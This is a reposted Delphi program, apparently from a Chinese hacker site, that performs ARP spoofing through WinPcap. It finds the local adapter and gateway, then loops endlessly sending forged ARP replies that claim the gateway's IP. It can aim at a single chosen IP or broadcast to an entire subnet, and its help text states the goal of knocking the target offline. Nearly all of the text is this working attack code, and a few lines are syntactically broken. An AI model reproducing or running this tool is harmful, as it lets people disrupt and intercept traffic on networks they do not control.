DELPHI ARP攻击代码

program Arp;
{$APPTYPE CONSOLE}
uses
windows,IpHlpApi, IpTypes,
Packet32,WinSock,math;
const
MAC_SIZE = 6;
type
MACADDRESS = array[0 .. MAC_SIZE - 1] of UCHAR;
type
ETHERNET_HDR = packed record
Destination:              MACADDRESS;
Source:                   MACADDRESS;
Protocol:                 WORD;
end;
type
ARP_HDR = packed record
HardwareType:             WORD;
ProtocolType:             WORD;
HLen:                     UCHAR;
PLen:                     UCHAR;
Operation:                WORD;
SenderHA:                 MACADDRESS;
SenderIP:                 DWORD;
TargetHA:                 MACADDRESS;
TargetIP:                 DWORD;
end;
type
TSendData = Record
     HEther        : ETHERNET_HDR;                  //以太网头
     ARP           : ARP_HDR;                        //ARP段
end;
var
NameList : Array [0..1024] of char;
Buffer: array[0 .. 63] of Char;
StrData:array[0..10] of string;
BufferStr: String;
NameLength,i:Longword;
Num,Size: Integer;
Strs:String;
p:Padapter;
pp:Ppacket ;
Ch: Byte;
IP: DWORD;
Mac: MACADDRESS;
Gateway: DWORD ;
FComputerName,FComputerIP,CompIp,DestIP:string;
SendData: TSendData;
Ok:Boolean;
Test:String;
function IntToStr(I: DWORD): String;
begin
Str(I, Result);
end;
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;

function MactoStr(Mac: MACADDRESS): String;
var
ch1, ch2: Byte;
i: Integer;
begin
Result := '';
for i := 0 to MAC_SIZE - 1 do
begin
    ch1 := Mac[i] and $F0;
    ch1 := ch1 shr 4;
    if ch1 > 9 then
     ch1 := ch1 + Ord('A') - 10
    else
     ch1 := ch1 + Ord('0');
    ch2 := Mac[i] and $0F;
    if ch2 > 9 then
     ch2 := ch2 + Ord('A') - 10
    else
     ch2 := ch2 + Ord('0');
    Result := Result + Chr(ch1) + Chr(ch2);
    if i < 5 then
     Result := Result + ':';
end;
end;
function IPtoStr(IP: DWORD): String;
begin
result:=IntToStr((IP and $FF000000) shr 24 )+'.';
    result:=result+IntToStr((IP and $00FF0000) shr 16 )+'.';
     result:=result+IntToStr((IP and $0000FF00) shr 8 )+'.';
      result:=Result+IntToStr((IP and $000000FF) shr 0 );
end;
function Str2IP(s: String): DWORD;
var
i: Integer;
Index: Integer;
Digit: String;
IP: array [0 .. 4 - 1] of DWORD;
Len: Integer;
begin
//try
Index := 1;
for i := 0 to 4 - 1 do
    IP[i] := 0;                      
Len := Length(s);
for i := 0 to 4 - 1 do
begin
    Digit := '';
    while(s[Index] >= '0') and (s[Index] <= '9') and (Index <= Len) do
    begin
     Digit := Digit + s[Index];
     inc(Index);
    end;
    inc(Index);
    IP[i] := StrToInt(Digit);
end;
Result :=
    IP[0] shl 24 +
    IP[1] shl 16 +
    IP[2] shl 8 +
    IP[3] shl 0;
// except
     // Result:=0;
     // end;
end;
function IntToHex( Value : DWord; Digits : Integer ) : String;
asm      // EAX = Value
         // EDX = Digits
         // ECX = @Result
PUSH       0
ADD        ESP, -0Ch
PUSH       EDI
PUSH       ECX
LEA        EDI, [ESP+8+0Fh] // EBX := @Buf[ 15 ]
{$IFDEF SMALLEST_CODE}
{$ELSE}
AND        EDX, $F
{$ENDIF}
@@loop:
DEC        EDI
DEC        EDX
PUSH       EAX
{$IFDEF PARANOIA}
DB $24, $0F
{$ELSE}
AND        AL, 0Fh
{$ENDIF}
{$IFDEF oldcode}
{$IFDEF PARANOIA}
DB $3C, 9
{$ELSE}
CMP        AL, 9
{$ENDIF}
JA         @@10
{$IFDEF PARANOIA}
DB $04, 30h-41h+0Ah
{$ELSE}
ADD        AL,30h-41h+0Ah
{$ENDIF}
@@10:
{$IFDEF PARANOIA}
DB $04, 41h-0Ah
{$ELSE}
ADD        AL,41h-0Ah
{$ENDIF}
{$ELSE newcode}
AAM
DB $D5, $11 //AAD
ADD       AL, $30
{$ENDIF newcode}

         //MOV        byte ptr [EDI], AL
STOSB
DEC        EDI
POP        EAX
SHR        EAX, 4
JNZ        @@loop
TEST       EDX, EDX
JG         @@loop
POP        EAX       // EAX = @Result
MOV        EDX, EDI // EDX = @resulting string
CALL       System.@LStrFromPChar
POP        EDI
ADD        ESP, 10h
end;
function StrToMac(s: String): MACADDRESS;
var
i: Integer;
Index: Integer;
Ch: String;
Mac: MACADDRESS;
begin
Index := 1;
for i := 0 to MAC_SIZE - 1 do
begin
    Ch := Copy(s, Index, 2);
    Mac[i] := StrToInt('$' + Ch);
    inc(Index, 2);
    while s[Index] = ':' do
     inc(Index);
end;
Result := Mac;
end;
Function GetSubStrNum(aString:String;SepChar:String):integer;
var
      i:Integer;
      StrLen:Integer;
      Num:Integer;
begin
      StrLen:=Length(aString);
      Num:=0;
      For i:=1 to StrLen do
      If Copy(aString,i,1) = SepChar then
      Num:=Num+1;
      result:=Num;
      end;

procedure GetClientPcNameIP;
const nSize = 256;
var
       strName :PChar;
       pWsaData :WSAData;
       nHostent :PHostEnt;
       Ver       :Word;
begin
try
      Ver := MakeWord(2,0);
     if WSAStartup(Ver,pWsaData) <> 0 then exit;
        GetMem(strName,nSize);
     if GetHostName(strName,nSize) <> 0 then exit;
          FComputerName := strName;
          nHostent := GetHostByName(strName);
          FComputerIP := inet_ntoa((PInAddr((nHostent.h_addr_list)^))^);
finally
         FreeMem(strName);
end;
end;
function Split(Input: string; Deliminator: string; Index: Integer): string;
var
StringLoop, StringCount: Integer;
Buffer: string;
begin
StringCount := 0;
for StringLoop := 1 to Length(Input) do
begin
     if (Copy(Input, StringLoop, 1) = Deliminator) then
     begin
       Inc(StringCount);
       if StringCount = Index then
       begin
         Result := Buffer;
         Exit;
       end
       else
       begin
         Buffer := '';
       end;
     end
     else
     begin
       Buffer := Buffer + Copy(Input, StringLoop, 1);
     end;
end;
Result := Buffer;
end;
function GetMacByIP(Const IPAddr: string): string;
var
dwResult: DWord;
nIPAddr: integer;
nMacAddr: array[0..5] of Byte;
nAddrLen: Cardinal;
WSAData: TWSAData;
begin
if WSAStartup($101, WSAData)=-1 then Exit;
nIPAddr := INet_Addr(PChar(IPAddr));
if nIPAddr = INADDR_NONE then exit;
nAddrLen := 6;
dwResult:= 1;
try
     dwResult := SendARP(nIPAddr, 0, @nMacAddr, nAddrLen);
except end;
if dwResult = 0 then
     result := (IntToHex(nMacAddr[0], 2) + ':' +
       IntToHex(nMacAddr[1], 2) + ':' +
       IntToHex(nMacAddr[2], 2) + ':' +
       IntToHex(nMacAddr[3], 2) + ':' +
       IntToHex(nMacAddr[4], 2) + ':' +
       IntToHex(nMacAddr[5], 2))
else
     result := '';
WSACleanup;
end;
procedure MyNetwork(Ms: string;var IP: DWORD;var Mac: MACADDRESS;var Gateway: DWORD);
var
i: Integer;
p, pAdapterInf PIP_ADAPTER_INFO;
uOutBufLen: ULONG;
dwRes: DWORD;
begin
pAdapterInfo := nil;
uOutBufLen := 0;
dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
if dwRes = ERROR_BUFFER_OVERFLOW then
begin
    GetMem(pAdapterInfo, uOutBufLen);
    dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
end;
if dwRes <> ERROR_SUCCESS then
begin
    exit;
end;
p := pAdapterInfo;
while p <> nil do
begin
    if Pos(String(p^.AdapterName), Ms) <> 0 then
     break;
    p := p^.Next;
end;
try
if p <> nil then
begin
    IP := Str2IP(p^.IpAddressList.IpAddress.S);
    for i := 0 to MAC_SIZE - 1 do
     Mac[i] := p^.Address[i];
    Gateway := Str2IP(p^.GatewayList.IpAddress.S);
end;
except
     end;
FreeMem(pAdapterInfo);
end;
procedure Help;
begin
WriteLn('小小的程序.实验一下ARP欺骗.让个IP.让其断网罢了.运行环境需要Winpcap.作者:Open');
end;
label
     start,print;
begin
    Help ;
    NameLength := 1024;
    ZeroMemory(@NameList,1024);
    PacketGetAdapterNames(NameList,@NameLength);
    for i:=0 to NameLength-1 do begin
    if ((NameList[i]=#0) and (NameList[i+1]=#0))then
          break
        else
        if ((NameList[i]=#0) and (NameList[i+1]<>#0))then
          NameList[i]:=char(',');
        end;
         Strs:=StrPas(NameList);
         Num:=GetSubStrNum(Strs,',');
         GetClientPcNameIP;
       for i:=0 to Num do begin
       StrData[i]:= Split(Strs,',',i+1);
       MyNetwork (StrData[i],ip,mac,Gateway);
       CompIp:=iptostr(ip);
       if CompIp = FComputerIP then begin
        Strs:= StrData[i];
        Break;
        end;
       end;
      WriteLn('Ethernet:'+strs);
      WriteLn('IP:'+iptostr(ip));
      WriteLn('Mac:'+MacToStr(Mac));
      WriteLn('Gateway:'+iptostr(Gateway));
      WriteLn('1.攻击指定IP     2.攻击一个C段');
print:
      Write('请选择:');
      Readln(Test);
      if (Test <> '1') and (Test <> '2' )then begin
      write('你的选择有误 ');
      goto print;
     end;
    ZeroMemory(@SendData,sizeof(TSendData));
    if Test = '1' then begin
start:
      write('请输入你要攻击的IP:');
      Readln(DestIP);
      if GetSubStrNum(DestIP,'.')<>3 then begin
       WriteLn('输入不正确');
       goto start ;
      end
else begin
      SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );
       end ;
end;
if Test = '2' then
SendData.HEther.Destination:= StrToMac('FF:FF:FF:FF:FF:FF') ;
    //
    ///SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );
    for i := 0 to MAC_SIZE - 1 do
    SendData.HEther.Source[i]:=30+Random(10)-1;
    SendData.HEther.Protocol:=$0608;
    SendData.ARP.HardwareType:=$0100;
    SendData.ARP.ProtocolType:=$08;
    SendData.ARP.HLen:=$06;
    SendData.ARP.PLen:=$04;
    SendData.ARP.Operation:=$0200;
    SendData.ARP.SenderHA:=StrToMac('00:00:00:00:00:00');
    SendData.ARP.SenderIP:=inet_addr(PChar(iptostr(Gateway)));
    p:= PacketOpenAdapter(pchar(strs));
    if (p=nil)or (p.hFile=INVALID_HANDLE_VALUE) then Exit;
    pp:=PacketAllocatePacket;
    PacketInitPacket(pp, @SendData,SizeOf(SendData));
if Test = '1' then begin
WriteLn('正在对IP:' + DestIP + '进行ARP');
end
else begin
    WriteLn('正在一个C段进行ARP');
    end;
    OK:=True;
     while ok do begin
    PacketSendPacket(p, pp, true);
    if i >= 10 then begin
    Write('>');
    i := 0 ;
    end;
    i := i + 1 ;
    Sleep(50);
    end;
    PacketFreePacket(pp);
    PacketCloseAdapter(p);
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接: [url]http://www.hackbase.com/tech/2008-09-05/41623.html[/url]

你可能感兴趣的:(职场,安全,休闲)